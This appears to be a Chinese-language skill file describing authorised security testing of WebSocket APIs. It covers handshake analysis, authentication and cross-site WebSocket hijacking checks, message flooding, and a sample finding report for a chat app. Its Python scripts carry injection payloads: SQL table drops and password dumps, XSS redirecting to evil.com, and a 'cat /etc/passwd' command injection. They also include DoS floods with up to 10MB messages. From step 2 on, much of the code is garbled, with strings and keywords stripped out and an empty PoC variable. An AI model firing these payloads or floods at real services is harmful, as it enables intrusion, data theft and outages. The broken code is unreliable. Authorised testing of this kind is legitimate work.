testing-websocket-api-security

name	testing-websocket-api-security
description	测试 WebSocket API 实现中的安全漏洞，包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking，CSWSH）、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务，以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息，构造恶意 payload，并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。
domain	cybersecurity
subdomain	api-security
tags	["api-security","websocket","cswsh","real-time","injection","authentication"]
version	1.0.0
author	mahipal
license	Apache-2.0

测试 WebSocket API 安全

适用场景

• 评估使用 WebSocket（ws://）或安全 WebSocket（Secure WebSocket，wss://）协议的实时通信 API
• 测试跨站 WebSocket 劫持（CSWSH）——攻击者页面连接到合法 WebSocket 服务器
• 评估 WebSocket 连接和消息上的身份认证与授权强制执行
• 测试 WebSocket 消息 payload 的输入校验，发现注入漏洞
• 评估 WebSocket 实现是否存在通过消息泛洪或超大帧实施的拒绝服务（DoS）风险

不适用于未经书面授权的情况。WebSocket 测试可能中断实时服务并影响其他已连接用户。

前置条件

• 书面授权，明确 WebSocket 端点和测试范围
• Burp Suite Professional，具备 WebSocket 拦截能力
• Python 3.10+，安装 websockets 和 asyncio 库
• 浏览器开发者工具，用于观察 WebSocket 握手和帧
• wscat CLI 工具，用于手动 WebSocket 交互：npm install -g wscat
• 了解所使用的 WebSocket 子协议（JSON-RPC、STOMP 或自定义协议）

工作流程

步骤 1：WebSocket 端点发现与握手分析

import asyncio
import websockets
import json
import ssl
import time

WS_URL = "wss://target-api.example.com/ws"
AUTH_TOKEN = "Bearer <token>"

# 捕获并分析 WebSocket 握手
async def analyze_handshake():
    """分析 WebSocket 升级请求和响应头。"""
    try:
        async with websockets.connect(
            WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            ssl=ssl.create_default_context()
        ) as ws:
            print(f"已连接到: {WS_URL}")
            print(f"协议: {ws.subprotocol}")
            print(f"扩展: {ws.extensions}")

            # 发送测试消息
            test_msg = json.dumps({"type": "ping"})
            await ws.send(test_msg)
            response = await asyncio.wait_for(ws.recv(), timeout=5)
            print(f"服务器响应: {response}")

            return True
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"连接被拒绝: {e.status_code}")
        return False
    except Exception as e:
        print()
         

asyncio.run(analyze_handshake())

步骤 2：身份认证与授权测试

async def test_ws_authentication():
    """测试 WebSocket 是否需要身份认证。"""
    results = []

    # 测试 1：不带任何认证连接
    try:
        async with websockets.connect(WS_URL) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "无认证",
                "status": "存在漏洞",
                "response": resp[:200]
            })
            print(f"[漏洞] WebSocket 在无认证情况下可访问")
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "无认证", "status": "安全"})
    except Exception as e:
        results.append({"test": "无认证", "status": f"错误: {e}"})

    # 测试 2：使用无效令牌连接
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": "Bearer invalid_token"}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                : ,
                : ,
                : resp[:]
            })
     websockets.exceptions.InvalidStatusCode:
        results.append({: , : })
     Exception  e:
        results.append({: , : })

    
    expired_token = 
    :
          websockets.connect(WS_URL,
            extra_headers={: expired_token})  ws:
             ws.send(json.dumps({: }))
            resp =  asyncio.wait_for(ws.recv(), timeout=)
            results.append({: , : })
     (websockets.exceptions.InvalidStatusCode, Exception):
        results.append({: , : })

    
    :
          websockets.connect()  ws:
             ws.send(json.dumps({: }))
            resp =  asyncio.wait_for(ws.recv(), timeout=)
            results.append({
                : ,
                : 
            })
     Exception:
        results.append({: , : })

     r  results:
        ()

     results

asyncio.run(test_ws_authentication())

步骤 3：跨站 WebSocket 劫持（CSWSH）测试

async def test_cswsh():
    """测试跨站 WebSocket 劫持漏洞。"""
    # CSWSH 发生于 WebSocket 服务器未校验 Origin 头部时
    # 攻击者的网站可以连接到合法 WebSocket 并窃取数据

    origins_to_test = [
        None,                                    # 无 Origin 头部
        "https://evil.com",                      # 攻击者域名
        "https://target-api.example.com.evil.com",  # 子域名混淆
        "null",                                  # null origin（沙盒 iframe）
        "https://target-api.example.com",        # 合法 origin
        "http://target-api.example.com",         # HTTP 降级
    ]

    print("=== CSWSH 测试 ===\n")
    for origin in origins_to_test:
        try:
            headers = {"Authorization": AUTH_TOKEN}
            if origin:
                headers["Origin"] = origin

            async with websockets.connect(WS_URL, extra_headers=headers) as ws:
                # 尝试接收应受限制的数据
                await ws.send(json.dumps({"type": "get_messages"}))
                resp = await asyncio.wait_for(ws.recv(), timeout=5)

                if origin and origin != "https://target-api.example.com":
                    print(f"[CSWSH] Origin '{origin}' -> 已接受（已收到数据）")
                else:
                    ()
         websockets.exceptions.InvalidStatusCode  e:
            ()
         Exception  e:
            ()

asyncio.run(test_cswsh())


CSWSH_POC = 

步骤 4：WebSocket 消息注入测试

async def test_ws_injection():
    """测试 WebSocket 消息中的注入漏洞。"""

    INJECTION_PAYLOADS = {
        "sql": [
            {"type": "search", "query": "' OR '1'='1"},
            {"type": "search", "query": "'; DROP TABLE messages;--"},
            {"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"},
        ],
        "nosql": [
            {"type": "search", "query": {"$ne": ""}},
            {"type": "get_user", "filter": {"$gt": ""}},
        ],
        "xss": [
            {"type": "send_message", "content": "<script>alert('xss')</script>"},
            {"type": "send_message", "content": "<img src=x onerror=alert(1)>"},
            {"type": "update_name", "name": "Test<script>document.location='https://evil.com'</script>"},
        ],
        "command": [
            {"type": "process", "file": "test; cat /etc/passwd"},
            {"type": "convert", : },
        ],
        : [
            {: , : },
            {: , : },
        ],
        : [
            {: , :  * },
            {: , :  * },
        ],
    }

      websockets.connect(WS_URL,
        extra_headers={: AUTH_TOKEN})  ws:

         category, payloads  INJECTION_PAYLOADS.items():
             payload  payloads:
                :
                     ws.send(json.dumps(payload))
                    resp =  asyncio.wait_for(ws.recv(), timeout=)

                    
                    resp_lower = resp.lower()
                    indicators = []
                     (kw  resp_lower  kw  [, , , ]):
                        indicators.append()
                     (kw  resp_lower  kw  [, , ]):
                        indicators.append()
                     (kw  resp_lower  kw  [, , ]):
                        indicators.append()
                       resp_lower     category:
                        indicators.append()

                     indicators:
                        ()
                     (resp) > :
                        ()
                 asyncio.TimeoutError:
                    
                 websockets.exceptions.ConnectionClosed:
                    ()
                    
                    

asyncio.run(test_ws_injection())

步骤 5：拒绝服务测试

async def test_ws_dos():
    """测试 WebSocket 的 DoS 漏洞。"""
    print("=== WebSocket DoS 测试 ===\n")

    # 测试 1：消息泛洪
    async def flood_test():
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN}) as ws:
            count = 0
            start = time.time()
            for i in range(10000):
                try:
                    await ws.send(json.dumps({"type": "ping", "id": i}))
                    count += 1
                except websockets.exceptions.ConnectionClosed:
                    break
            elapsed = time.time() - start
            print(f"  泛洪测试: {elapsed:.1f}s 内发送了 {count} 条消息（{count/elapsed:.0f} msg/s）")

    await flood_test()

    # 测试 2：超大消息
    async def large_message_test():
        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB 到 10MB
        async with websockets.connect(WS_URL,
            extra_headers={: AUTH_TOKEN},
            max_size=**)  ws:
             size  sizes:
                :
                    large_msg = json.dumps({: , :  * size})
                     ws.send(large_msg)
                    resp =  asyncio.wait_for(ws.recv(), timeout=)
                    ()
                 (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError)  e:
                    ()
                    

     large_message_test()

    
      ():
        connections = []
         i  ():
            :
                ws =  websockets.connect(WS_URL,
                    extra_headers={: AUTH_TOKEN})
                connections.append(ws)
             Exception:
                
        ()
         ws  connections:
             ws.close()

     connection_exhaustion()

asyncio.run(test_ws_dos())

核心概念

术语	定义
WebSocket	基于单个 TCP 连接的全双工通信协议，通过 HTTP 升级握手建立连接
CSWSH	跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking）——恶意网站利用受害者浏览器的凭据向合法服务器发起 WebSocket 连接
Origin 校验	在 WebSocket 握手期间对 Origin 头部进行服务端检查，通过拒绝来自未授权域名的连接来防止 CSWSH
WebSocket 帧（Frame）	WebSocket 通信的基本数据单元，包含操作码、掩码、payload 长度和 payload 数据
升级握手（Upgrade Handshake）	携带 Upgrade: websocket 和 Connection: Upgrade 头部的 HTTP 请求，用于建立 WebSocket 连接
消息泛洪（Message Flooding）	发送大量 WebSocket 消息以耗尽服务器资源（内存、CPU、带宽）

工具与系统

• Burp Suite Professional：拦截 WebSocket 握手和消息，支持消息修改和重放
• OWASP ZAP：具备消息模糊测试、拦截和断点功能的 WebSocket 测试工具
• wscat：命令行 WebSocket 客户端，用于手动测试：wscat -c wss://target.com/ws -H "Authorization: Bearer token"
• websocat：高级 CLI WebSocket 工具，支持代理、广播和脚本化功能
• Autobahn TestSuite：全面的 WebSocket 协议合规性和安全测试框架

常见场景

场景：聊天应用 WebSocket 安全评估

场景背景：某即时通讯应用使用 WebSocket 实现实时聊天，WebSocket 端点处理消息投递、正在输入指示、已读回执和用户在线状态。认证基于 Cookie。

方法：

1. 分析 WebSocket 握手：连接建立于 wss://chat.example.com/ws，使用会话 Cookie 认证
2. 测试 CSWSH：WebSocket 服务器未校验 Origin 头部——攻击者页面可以连接并接收受害者的消息
3. 测试认证：WebSocket 接受带有过期会话 Cookie 的连接（会话校验仅在握手时进行，后续消息不再校验）
4. 测试授权：用户 A 可通过构造频道 ID，向其不是成员的私有频道发送消息
5. 测试注入：消息内容未经过滤直接存储；消息体中的 XSS payload 在其他用户浏览器中执行
6. 测试消息泛洪：服务器在无速率限制的情况下每秒接受 5000 条消息，导致 CPU 峰值
7. 发现 WebSocket 消息泄露了发送者的内部用户 ID、邮箱和 IP 地址（信息泄露）

常见陷阱：

• 因应用使用基于令牌的认证而不测试 CSWSH（Cookie 会随 WebSocket 自动发送）
• 仅测试初始握手认证，而未验证持续的消息授权
• 因 payload 在 JSON WebSocket 帧中而非 HTTP 参数中，遗漏注入漏洞
• 未测试重连行为（服务器重连时是否重新校验认证？）
• 忽视 WebSocket 连接可能绕过 HTTP 层速率限制和 WAF 规则

输出格式

## 发现：跨站 WebSocket 劫持（CSWSH）导致实时数据被窃取

**ID**: API-WS-001
**严重程度**: 高 (CVSS 8.1)
**受影响端点**: wss://chat.example.com/ws

**描述**:
WebSocket 服务器在握手期间未校验 Origin 头部。攻击者可托管恶意网页，
利用受害者的会话 Cookie 向聊天服务器建立 WebSocket 连接。
所有消息、正在输入指示和在线状态数据都会被实时转发给攻击者。

**概念验证**:
将 CSWSH PoC 页面托管在 attacker.com。当已登录用户访问该页面时，
JavaScript 会向聊天服务器建立 WebSocket 连接。服务器使用受害者的
Cookie 对连接进行认证，并将所有实时聊天数据发送给攻击者的连接。

**影响**:
实时拦截任何访问攻击者页面的用户的所有私人消息、在线状态数据和输入指示。

**修复建议**:
1. 将 Origin 头部与合法域名白名单进行校验
2. 在 WebSocket 握手 URL 中实现 CSRF 令牌
3. 对 WebSocket 使用基于令牌的认证（Authorization 头部）而非 Cookie
4. 实施逐消息授权检查，而不仅仅是连接级认证
5. 对每个连接的 WebSocket 消息量添加速率限制